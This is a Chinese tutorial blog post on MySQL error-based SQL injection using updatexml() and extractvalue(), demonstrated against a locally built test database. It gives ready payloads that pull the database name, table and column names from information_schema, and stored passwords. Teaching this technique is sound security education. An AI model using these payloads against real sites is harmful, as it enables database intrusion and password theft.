MySQL注入 | updatexml和extractvalue函数

Posted 山川绿水

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了MySQL注入 | updatexml和extractvalue函数相关的知识,希望对你有一定的参考价值。

SQL注入 | updatexml和extractvalue函数

一、自己搭建数据库及其内容

1.本地phpstudy打开phpmyAdmin

2.登录本机数据库的用户名及密码,并执行

3.点击数据库,输入我们想创建的库名(如:test123),点击创建

4.如下图所示,及数据库创建成功

5.进入到test123这个数据库中

6.点击创建数据表

7.输入数据表名,字段不够用的话,自行增加即可,此处表中设置了三个字段分别是id,name,password类型这里可以根据自己的需要进行设置,此处三个字段默认均不能为空,并且设置id为主键,其中A_I表示的是自动排序

8.上述步骤完成后记得保存哦

9.插入一条数据

10.输入idnamepassword的值

11.执行

12.终端查看表的信息

二、updatexml函数

(XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串),如果不了解Xpath语法,可以在网上查找教程。第三个参数:new_value,String格式,替换查找到的符合条件的数据
1.本地测试,爆破数据库

select * from user where id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1);


2.获取数据表名信息

select * from user where id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test123'),0x7e),1);


3.获取字段名信息

select * from user where id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test123' and table_name='user'),0x7e),1);


4.获取字段内容

select * from user where id=1 and updatexml(1,concat(0x7e,(select group_concat(password) from user),0x7e),1);

三、extractvalue函数

extractvalue函数:对XML文档进行查询的函数其实就是相当于我们熟悉的html文件中用<div><p><a>标签查找元素一样语法: extractvalue(目标xml文档,xml路径)第二个参数xml中的位置是可操作的地方,xml文档中查找字符位置是用/xx/xxx/xoox ...这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。

1.终端中获取数据库信息

select * from user where id=1 and extractvalue(1,concat(0x7e,database(),0x7e));

2.获取表名信息

select * from user where id=1 and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='test123'),0x7e));


3.获取字段名信息

select * from user where id=1 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='test123' and table_name='user'),0x7e));


4.获取字段内容

select * from user where id=1 and extractvalue(1,concat(0x7e,(select group_concat(password) from user),0x7e));

以上是关于MySQL注入 | updatexml和extractvalue函数的主要内容,如果未能解决你的问题,请参考以下文章

学习笔记 UpdateXml() MYSQL显错注入

sql注入之常见注入类型

mysql报错注入函数

报错注入分析之updatexml注入

Mysql注入方式

♥Payload大全